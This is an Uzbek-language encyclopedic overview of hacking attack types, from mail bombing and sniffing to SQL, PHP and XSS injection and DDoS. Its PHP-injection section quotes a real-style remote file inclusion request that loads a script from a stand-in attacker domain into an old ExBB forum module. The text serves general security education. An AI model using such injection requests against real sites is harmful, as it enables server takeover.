Xakerlik hujumi keng ma’noda — aqliy hujum bo‘lib, murakkab masalalarni hal qilishga qaratilgan. Xakerlik hujumida bir yoki bir nechta yuqori malakali mutaxassis (xakerlar) qatnashishi mumkin. Aqliy hujum natijasida muammoni hal etishning noodatiy usullari ishlab chiqilishi yoki mavjud usullar takomillashtirilishi mumkin.
Xakerlik hujumi tor ma’noda — «xavfsizlik tizimiga tajovuz»ni anglatadi va «krakerlik hujumi» tushunchasiga yaqinroqdir. Bunga quyidagi atamaning noto‘g‘ri talqin qilinishi sabab bo‘lgan: «xaker».
Krakerlik hujumi — masofadagi yoki mahalliy hisoblash tizimi ustidan nazoratni qo‘lga kiritish (huquqlarni oshirish), uning barqaror ishlashini buzish yoxud xizmat ko‘rsatishni rad etishga olib kelishga qaratilgan harakat.
Pochta bombardimoni (Mailbombing, SMTP)
Hujumning eng qadimgi usuli hisoblanadi. Uning mohiyati shundaki, juda ko‘p elektron xatlar kelishi pochta qutilaridan, ba’zan esa butun pochta serverlaridan foydalanishni imkonsiz qiladi. Buning uchun ko‘plab dasturlar ishlab chiqilgan: hatto tajribasiz foydalanuvchi ham jabrlanuvchining elektron pochta manzilini, xabar matnini va yuboriladigan xatlar sonini ko‘rsatib, hujum uyushtirishi mumkin edi. Ko‘plab dasturlar xatlarni tarqatishda IP-manzilni yashirish uchun anonim pochta serveridan foydalanishga imkon berardi. Bunday hujumning oldini olish qiyin, chunki hatto provayderlarning pochta filtrlari ham spam yuborgan haqiqiy shaxsni aniqlay olmaydi. Provayder bitta jo‘natuvchidan keladigan xatlar sonini cheklashi mumkin, biroq jo‘natuvchi manzili va xat mavzusi ko‘pincha tasodifiy ravishda yaratiladi.
Internetda eng keng tarqalgan hujum turlaridan biri. Ushbu hujum dasturdagi xatolardan foydalanishga asoslanadi: ular xotira chegarasidan chiqishga, ilovani avariya holatida to‘xtatishga yoki ixtiyoriy ikkilik kodni zaif dastur ishlayotgan foydalanuvchi nomidan bajarishga imkon beradi. Agar dastur tizim administratori hisobidan ishlayotgan bo‘lsa, bu hujum jabrlanuvchi kompyuteri ustidan to‘liq nazoratni qo‘lga kiritish imkonini beradi. Shu sababli xavfsizlik uchun cheklangan huquqli oddiy foydalanuvchi hisobida ishlash, administrator hisobidan esa faqat administrator huquqlarini talab qiladigan amallarni bajarish tavsiya etiladi.
Viruslar, troyan dasturlari, qurtlar, snifferlar (paketlarni tutuvchi dasturlar), rutkitlar (rootkitlar) va boshqa maxsus dasturlar
Yopiq ma’lumotlarga kirishning yanada murakkab usuli — jabrlanuvchi kompyuterida ishlaydigan va keyinchalik boshqa kompyuterlarga ham tarqaladigan (viruslar va qurtlar) maxsus dasturlardan foydalanishdir. Bunday dasturlar maxfiy ma’lumotlarni izlash va uzatish yoki jabrlanuvchi kompyuterining xavfsizlik tizimi hamda ish faoliyatiga zarar yetkazish uchun mo‘ljallangan.
Tarmoq razvedkasi
Bunday hujum davomida kraker vayronkor harakatlarni amalga oshirmaydi, biroq jabrlanuvchining hisoblash tizimi qanday tuzilgani va ishlash tamoyillari haqida yopiq ma’lumotlarni olishi mumkin. Bu ma’lumotlar keyingi hujumni ishlab chiqishda qo‘llanadi. Shuning uchun razvedka, odatda, faol harakatlardan oldin o‘tkaziladi.
Razvedka davomida hujumchi portlarni skanerlashi, ochiq portlarni, aks-sado (echo) sinovidan o‘tkazishi, proksi-serverlarning mavjudligi va himoyalanganlik darajasini tekshirishi, DNS so‘rovlarini yuborishi mumkin. Natijada tizimdagi DNS-manzillar, ularning kimga tegishliligi, qaysi xizmatlar mavjudligi hamda tashqi va ichki foydalanuvchilarning ushbu xizmatlardan foydalanish huquqlari haqida ma’lumot olinadi.
Tarmoq paketlarini tutib olish (sniffing)
Bu ham ancha keng tarqalgan hujum turi bo‘lib, tarmoq kartasining barcha paketlarni qabul qilish rejimida (promiscuous mode), shuningdek kuzatish rejimida (monitor mode) Wi-Fi tarmoqlarida ishlashiga asoslanadi. Bunday rejimda tarmoq kartasiga kelgan barcha paketlar qayta ishlash uchun sniffer deb ataluvchi maxsus dasturga uzatiladi. Natijada hujumchi katta hajmdagi xizmat ma’lumotlarini: paketlarni kim, qayerdan va qayerga yuborganini, ular qaysi manzillardan o‘tganini bilib olishi mumkin. Bunday hujumning eng katta xavfi — ma’lumotlarning o‘zini, masalan, xodimlarning login va parollarini qo‘lga kiritishdir. Ulardan kompaniyaning oddiy xodimi sifatida tizimga noqonuniy kirishda foydalanish mumkin.
Yetarlicha himoyalanmagan tarmoqlarda uchraydigan yana bir keng tarqalgan hujum turi. Bunda hujumchi tashkilot ichida yoki tashqarisida bo‘lishidan qat’i nazar, o‘zini ruxsat berilgan foydalanuvchi sifatida ko‘rsatadi. Buning uchun kraker tarmoq xavfsizlik tizimi ruxsat bergan IP-manzildan foydalanishi kerak. Agar xavfsizlik tizimi foydalanuvchini faqat IP-manzili orqali aniqlasa va qo‘shimcha tasdiq talab qilmasa, bunday hujum sodir bo‘lishi mumkin.
Hujumning bu turida tajovuzkor ikki tizim o‘rtasidagi aloqa kanalini tutib olib, uzatilayotgan barcha ma’lumotlardan foydalanish imkoniga ega bo‘ladi. Bunday darajadagi kirish huquqini qo‘lga kiritgan hujumchi ma’lumotlarni o‘z xohishicha o‘zgartira oladi. Hujumdan maqsad — uzatilayotgan ma’lumotni noqonuniy olish, o‘g‘irlash yoki soxtalashtirish yoxud tarmoq resurslariga ruxsatsiz kirish imkonini qo‘lga kiritishdir. Bunday hujumlarni aniqlash juda qiyin, chunki hujumchi odatda tashkilotning ichida bo‘ladi.
Kod kiritish hujumlari (code injection)
Umumiy tamoyilga asoslangan hujumlar guruhi: hujum natijasida ma’lumotlar dastur kodi sifatida bajariladi.
SQL-inyeksiya (SQL injection) — ma’lumotlar bazasiga yuboriladigan SQL so‘rovlarining parametrlarini o‘zgartirishga asoslangan hujum. Natijada so‘rovning ma’nosi butunlay o‘zgaradi va kiritilgan ma’lumotlar yetarlicha tekshirilmasa, maxfiy ma’lumotlarni chiqarish bilan birga, ma’lumotlarni o‘zgartirish yoki o‘chirish ham mumkin bo‘ladi. Bunday hujum ko‘pincha ma’lumotlar bazasiga SQL-so‘rov tuzishda buyruq satri parametrlaridan (bu holatda — URL o‘zgaruvchilaridan) ularni tegishlicha tekshirmasdan foydalanadigan saytlarda uchraydi.
Tekshiruv o‘rniga shunday mantiqiy ifoda qo‘yish mumkinki,
u rost bo‘lgani uchun tekshiruvni chetlab o‘tishga imkon beradi
PHP-inyeksiya (PHP injection) — veb-saytlarni buzib kirish usullaridan biri bo‘lib, ular PHP dasturlash tilida ishlaydi. Maxsus tayyorlangan zararli skript saytning server tomonidagi veb-ilova kodiga kiritilib, ixtiyoriy buyruqlar bajarilishiga olib keladi. Internetda keng tarqalgan, PHP asosida ishlaydigan ko‘plab bepul veb-sayt boshqaruv tizimlari va forumlarda (ayniqsa eski versiyalarda) zaif modullar yoki yetarlicha puxta o‘ylanmagan kod konstruksiyalari mavjud. Krakerlar bunday zaifliklarni, jumladan, tashqaridan qiymat oladigan, lekin maxsus belgilaridan xavfsiz tozalanmagan o‘zgaruvchilarni tahlil qiladi. Masalan, ExBB forumining eski zaifligidan quyidagi so‘rov orqali foydalanilgan: GET /modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt.
Saytlararo skriptlash yoki XSS (qisq. inglizcha Cross Site Scripting, quyidagi atama bilan adashtirmang: CSS (Cascade Style Sheet)) — odatda veb-ilovalarda uchraydigan zaiflik turi. U zararli niyatdagi foydalanuvchiga boshqa foydalanuvchilar ko‘radigan veb-sahifalarga kod kiritish imkonini beradi. Bunday kodga HTML-kod hamda mijoz tomonida bajariladigan skriptlar kiradi. Bunday skriptlar ko‘pincha quyidagi tilda yoziladi: JavaScript.
XPath-inyeksiya (XPath injection) — XPath ifodalarini XML ma’lumotlar bazasiga yuboriladigan dastlabki so‘rovga kiritish bilan bog‘liq zaiflik turi. Boshqa inyeksiya turlarida bo‘lgani kabi, bunda ham zaiflik kiritilayotgan ma’lumotlar yetarlicha tekshirilmagani sababli paydo bo‘ladi.
Avtozaliv (avtomatik ma’lumot almashtirish) — troyan dasturlari tamoyili asosida ishlaydigan veb-inyeksiya. Uning asosiy maqsadi foydalanuvchining to‘lov tizimidagi hisobiga kirib, tranzaksiya ma’lumotlarini HTML kodini o‘zgartirish orqali foydalanuvchiga sezdirmay almashtirish va uning mablag‘larini hujumchining hisobiga o‘tkazishdir.
Ijtimoiy muhandislik
Ijtimoiy muhandislik (inglizcha social engineering) — ma’lumotga kirish uchun xodimlarning yetarli malakaga ega emasligi, kasbiy tayyorgarligi sustligi yoki beparvoligidan foydalanishdir. Bu usulni kompyutersiz, oddiy telefon orqali yoki xat yozishmalari yordamida ham qo‘llash mumkin. Uning yordamida juda turli ma’lumotlarni qo‘lga kiritish mumkin. Hujum davomida tajovuzkor jabrlanuvchi bilan aloqa o‘rnatadi va uni chalg‘itish yoki ishonchini qozonish orqali boshqa yo‘l bilan olish qiyin yoxud xavfliroq bo‘lgan zarur ma’lumotlarni bilib olishga urinadi.
Xizmat ko‘rsatishni rad etish
DoS (inglizcha Denial of Service — xizmat ko‘rsatishni rad etish) — serverni so‘rovlarga javob bera olmaydigan holatga keltirishga qaratilgan hujum. Bunday hujum maxfiy ma’lumotni qo‘lga kiritishni ko‘zlamaydi, biroq ba’zan boshqa hujumlarni boshlashga yordam berishi mumkin. Masalan, ayrim dasturlardagi xatolar istisno holatlarni keltirib chiqarishi mumkin va xizmatlar o‘chirilganda hujumchi taqdim etgan kodni bajarishga imkon beradi. Katta hajmdagi paketlar oqimi bilan amalga oshiriladigan hujumlarda esa server juda ko‘p kiruvchi paketlarni qayta ishlay olmay qoladi.
DDoS (inglizcha Distributed Denial of Service — taqsimlangan xizmat ko‘rsatishni rad etish) — DoS-hujumning bir ko‘rinishi bo‘lib, maqsadi bir xil, ammo u bitta kompyuterdan emas, bir nechta kompyuterdan uyushtiriladi. Ushbu hujum turlarida xizmatning ishlamay qolishiga olib keluvchi xatolardan yoki xizmatni bloklab, xuddi shunday natijaga sabab bo‘ladigan himoya mexanizmlaridan foydalaniladi. Oddiy DoS samarasiz bo‘lgan hollarda DDoS qo‘llanadi. Buning uchun bir nechta kompyuter birlashtiriladi va ularning har biri jabrlanuvchi tizimiga DoS-hujum uyushtiradi. Botnet hajmi bir necha o‘nlab kompyuterdan bir necha yuz ming kompyutergacha yetishi mumkin.
Har qanday hujum — jabrlanuvchining xavfsizlik tizimidagi kamchiliklardan foydalanib, ma’lumot olish yoki tizimga zarar yetkazishga urinishdir. Shuning uchun muvaffaqiyatli hujumga krakerning malakasi va ma’lumotning qimmati, shuningdek xavfsizlik tizimi administratorining yetarli bilim va ko‘nikmaga ega emasligi, xususan, dasturiy ta’minotning mukammal emasligi hamda umuman kompaniyada xavfsizlik masalalariga yetarlicha e’tibor berilmasligi sabab bo‘ladi.